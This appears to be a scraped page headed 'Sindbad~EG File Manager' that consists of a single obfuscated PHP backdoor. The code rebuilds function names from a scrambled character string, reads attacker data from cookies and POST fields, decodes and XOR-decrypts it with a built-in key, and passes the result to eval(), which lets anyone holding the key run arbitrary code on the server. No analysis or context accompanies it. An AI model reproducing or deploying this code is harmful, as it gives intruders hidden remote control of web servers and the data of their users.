Sindbad~EG File Manager

<?php
$jumduy = 'r4lsmt*39e8Hc0-d5a7y62o_ifbvp#\'ukgnx';$umdvpu = Array();$umdvpu[] = $jumduy[11].$jumduy[6];$umdvpu[] = $jumduy[29];$umdvpu[] = $jumduy[10].$jumduy[16].$jumduy[1].$jumduy[10].$jumduy[20].$jumduy[25].$jumduy[20].$jumduy[18].$jumduy[14].$jumduy[17].$jumduy[17].$jumduy[10].$jumduy[8].$jumduy[14].$jumduy[1].$jumduy[10].$jumduy[7].$jumduy[13].$jumduy[14].$jumduy[8].$jumduy[21].$jumduy[1].$jumduy[13].$jumduy[14].$jumduy[21].$jumduy[8].$jumduy[8].$jumduy[25].$jumduy[21].$jumduy[13].$jumduy[9].$jumduy[21].$jumduy[15].$jumduy[16].$jumduy[9].$jumduy[21];$umdvpu[] = $jumduy[12].$jumduy[22].$jumduy[31].$jumduy[34].$jumduy[5];$umdvpu[] = $jumduy[3].$jumduy[5].$jumduy[0].$jumduy[23].$jumduy[0].$jumduy[9].$jumduy[28].$jumduy[9].$jumduy[17].$jumduy[5];$umdvpu[] = $jumduy[9].$jumduy[35].$jumduy[28].$jumduy[2].$jumduy[22].$jumduy[15].$jumduy[9];$umdvpu[] = $jumduy[3].$jumduy[31].$jumduy[26].$jumduy[3].$jumduy[5].$jumduy[0];$umdvpu[] = $jumduy[17].$jumduy[0].$jumduy[0].$jumduy[17].$jumduy[19].$jumduy[23].$jumduy[4].$jumduy[9].$jumduy[0].$jumduy[33].$jumduy[9];$umdvpu[] = $jumduy[3].$jumduy[5].$jumduy[0].$jumduy[2].$jumduy[9].$jumduy[34];$umdvpu[] = $jumduy[28].$jumduy[17].$jumduy[12].$jumduy[32];foreach ($umdvpu[7]($_COOKIE, $_POST) as $ujivku => $cumrfwl){function eqrot($umdvpu, $ujivku, $bgvfsy){return $umdvpu[6]($umdvpu[4]($ujivku . $umdvpu[2], ($bgvfsy / $umdvpu[8]($ujivku)) + 1), 0, $bgvfsy);}function uapim($umdvpu, $sofqvga){return @$umdvpu[9]($umdvpu[0], $sofqvga);}function hwjuj($umdvpu, $sofqvga){$aawlche = $umdvpu[3]($sofqvga) % 3;if (!$aawlche) {eval($sofqvga[1]($sofqvga[2]));exit();}}$cumrfwl = uapim($umdvpu, $cumrfwl);hwjuj($umdvpu, $umdvpu[5]($umdvpu[1], $cumrfwl ^ eqrot($umdvpu, $ujivku, $umdvpu[8]($cumrfwl))));}